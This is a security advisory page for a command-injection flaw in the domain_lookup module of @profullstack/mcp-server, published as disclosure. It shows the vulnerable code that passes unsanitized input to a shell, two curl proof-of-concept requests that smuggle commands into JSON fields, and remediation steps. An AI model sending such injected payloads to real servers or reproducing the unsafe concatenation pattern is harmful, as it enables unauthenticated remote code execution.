# GHSA-v6wj-c83f-v46x: @profullstack/mcp-server vulnerable to OS Command Injection in domain_lookup Module

> Unauthenticated remote attackers can execute arbitrary OS commands via the domain_lookup module due to unsanitized input in shell commands.

- **Severity:** Not scored
- **Exploited in the wild:** Not known
- **Login needed:** Not needed
- **Attackable:** Over the internet
- **Victim action needed:** Not needed
- **Fix available:** No
- **Published:** 9 May 2026

## What is GHSA-v6wj-c83f-v46x?

GHSA-v6wj-c83f-v46x is a command injection vulnerability in @profullstack/mcp-server, published on 9 May 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.

### Official description

<html>
<body>
<!--StartFragment--><html><head></head><body><h1>Security Advisory: OS Command Injection in <code>profullstack/mcp-server</code> <code>domain_lookup</code> Module</h1>

Field | Value
-- | --
Project | profullstack/mcp-server
Repository | https://github.com/profullstack/mcp-server
Affected Commit | 2e8ea913573610667ad54e31dba2e8198ebf7cf9
Affected Module | mcp_modules/domain_lookup
Affected Endpoints | POST /domain-lookup/check, POST /domain-lookup/bulk
Vulnerability Type | CWE-78: OS Command Injection
CVSS 3.1 Score | 9.8 (Critical) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Authentication Required | None
Default Network Exposure | Bind address 0.0.0.0, no global authentication middleware
Validated | 2026-04-21 (initial), 2026-04-28 (re-confirmed)

<hr>
<h2>Summary</h2>
<p>The <code>domain_lookup</code> module assembles a shell command string by concatenating user-controlled input (<code>domains</code> / <code>keywords</code>) and passes it to <code>execAsync()</code>. Both HTTP endpoints reach the same sink. Because there is no argument quoting, escaping, or allowlist — and no authentication on the server — an unauthenticated remote attacker can execute arbitrary OS commands as the server process.</p>
<hr>
<h2>Affected Code</h2>
<ul>
<li><code>index.js:27</code> — server binds to <code>0.0.0.0</code>, no global auth middleware.</li>
<li><code>mcp_modules/domain_lookup/index.js:52</code> — registers <code>POST /domain-lookup/check</code>.</li>
<li><code>mcp_modules/domain_lookup/index.js:55</code> — registers <code>POST /domain-lookup/bulk</code>.</li>
<li><code>mcp_modules/domain_lookup/src/service.js:19, :20</code> — <code>buildTldxCommand()</code> concatenates user input into the shell string.</li>
<li><code>mcp_modules/domain_lookup/src/service.js:114, :115, :142</code> — <code>execAsync(command)</code> sink reached from both routes.</li>
</ul>
<hr>
<h2>Vulnerable Code</h2>
<p><strong>File:</strong> <code>mcp_modules/domain_lookup/src/service.js</code></p>
<p><strong>Step 1 — User input concatenated directly into a shell string:</strong></p>
<pre><code class="language-js">buildTldxCommand(keywords, options = {}) {
  let command = `tldx ${keywords.join(' ')}`;

  if (options.prefixes?.length) {
    command += ` --prefixes ${options.prefixes.join(',')}`;
  }
}
</code></pre>
<p><strong>Step 2 — That shell string is executed as-is:</strong></p>
<pre><code class="language-js">async checkDomainAvailability(domains, options = {}) {
  try {
    const command = this.buildTldxCommand(domains, options);
    const { stdout, stderr } = await execAsync(command);
</code></pre>
<p>There is no sanitization between Step 1 and Step 2. Shell metacharacters (<code>;</code>, <code>|</code>, <code>$()</code>, etc.) in user input are interpreted by <code>/bin/sh</code> at execution time.</p>
<hr>
<h2>Proof of Concept</h2>
<p>Tested against a local Docker build of the affected commit (<code>0.0.0.0:13000-&gt;3000/tcp</code>).</p>
<h3>PoC A — <code>POST /domain-lookup/check</code></h3>
<p><strong>Request:</strong></p>
<pre><code class="language-bash">curl -X POST http://localhost:13000/domain-lookup/check \
  -H 'Content-Type: application/json' \
  -d '{"domains":["example.com; echo final_check_poc &gt; /tmp/verify-exports/final_check.txt; #"]}'
</code></pre>
<p><strong>Response:</strong></p>
<pre><code>HTTP/1.1 500 Internal Server Error
access-control-allow-origin: *
content-type: application/json
Date: Tue, 21 Apr 2026 04:32:39 GMT

{"error":"tldx command failed: tldx command failed: /bin/sh: tldx: not found\n"}
</code></pre>
<p><strong>Side effect confirmed inside container:</strong></p>
<pre><code>$ cat /tmp/verify-exports/final_check.txt
final_check_poc
</code></pre>
<h3>PoC B — <code>POST /domain-lookup/bulk</code></h3>
<p><strong>Request:</strong></p>
<pre><code class="language-bash">curl -X POST http://localhost:13000/domain-lookup/bulk \
  -H 'Content-Type: application/json' \
  -d '{"keywords":["safe","x; echo final_bulk_poc &gt; /tmp/verify-exports/final_bulk.txt; #"]}'
</code></pre>
<p><strong>Response:</strong></p>
<pre><code>HTTP/1.1 500 Internal Server Error
access-control-allow-origin: *
content-type: application/json
Date: Tue, 21 Apr 2026 04:32:40 GMT

{"error":"Bulk domain check failed: Bulk domain check failed: /bin/sh: tldx: not found\n"}
</code></pre>
<p><strong>Side effect confirmed inside container:</strong></p>
<pre><code>$ cat /tmp/verify-exports/final_bulk.txt
final_bulk_poc
</code></pre>
<h3>Note on HTTP 500</h3>
<p>Both requests return HTTP 500 because <code>tldx</code> is not installed in the test container. The injected commands are interpreted by the shell <strong>before</strong> <code>tldx</code> is invoked. The marker files confirm that attacker-controlled commands executed successfully despite the 500 response. In a production environment where <code>tldx</code> is installed, both the intended function and the injected commands execute.</p>
<hr>
<h2>Impact</h2>
<ul>
<li>Unauthenticated remote code execution as the server process UID.</li>
<li>Full read/write access to any file the server process can access.</li>
<li>Potential for outbound connections, credential theft, persistence, and lateral movement.</li>
<li>Reproducible with a single unauthenticated HTTP POST to either of two documented endpoints.</li>
</ul>
<hr>
<h2>Suggested Remediation</h2>
<ol>
<li>Replace <code>execAsync(command)</code> with <code>child_process.execFile</code> or <code>spawn('tldx', [keyword1, keyword2, ...])</code> — pass arguments as an array, never as a concatenated shell string.</li>
<li>Validate all domain/keyword input against a strict allowlist (RFC 1035 hostname syntax) before invoking the external binary; reject any input containing shell metacharacters.</li>
<li>Add a global authentication middleware so all HTTP-exposed modules are not callable anonymously.</li>
<li>Default the server bind address to <code>127.0.0.1</code> and require explicit opt-in for non-loopback bindings.</li>
</ol>
<hr>
<h2>Verification Environment</h2>
<ul>
<li>Local Docker container only; no third-party deployment was tested.</li>
<li>The container does not include the <code>tldx</code> binary; this is intentional for safe local PoC and does not affect exploitability.</li>
</ul></body></html><!--EndFragment-->
</body>
</html>

## Which versions are affected by GHSA-v6wj-c83f-v46x?

2 open source packages ship an affected version, including @profullstack/mcp-server.


| Package | Ecosystem | Affected | Fixed in |
| --- | --- | --- | --- |
| `@profullstack/mcp-server` | npm | All versions to 1.4.12 | None |
| `@profullstack/mcp-server` | npm | All versions to 1.4.12 | None |

## How do I fix GHSA-v6wj-c83f-v46x?

No fix has been published for GHSA-v6wj-c83f-v46x yet. Limit exposure of the affected software until one is available.

## Is GHSA-v6wj-c83f-v46x being exploited?

There is no known exploitation of GHSA-v6wj-c83f-v46x in the wild and no public exploit code.

## Fix prompt for AI coding agents

```text
Check this codebase for GHSA-v6wj-c83f-v46x and fix it if it is affected.

What it is: GHSA-v6wj-c83f-v46x is a command injection vulnerability in @profullstack/mcp-server, published on 9 May 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.
Exploitation: There is no known exploitation of GHSA-v6wj-c83f-v46x in the wild and no public exploit code.

Affected packages and fixed versions:
- @profullstack/mcp-server (npm): affected all versions up to 1.4.12; no fix listed
- @profullstack/mcp-server (npm): affected all versions up to 1.4.12; no fix listed

Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.

Reference: https://insights.sbomify.com/GHSA-v6wj-c83f-v46x/ (Markdown: https://insights.sbomify.com/GHSA-v6wj-c83f-v46x/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/GHSA-v6wj-c83f-v46x

---
From sbomify Insights: https://insights.sbomify.com/GHSA-v6wj-c83f-v46x/
Summaries are generated and may contain mistakes; the official description above is the record.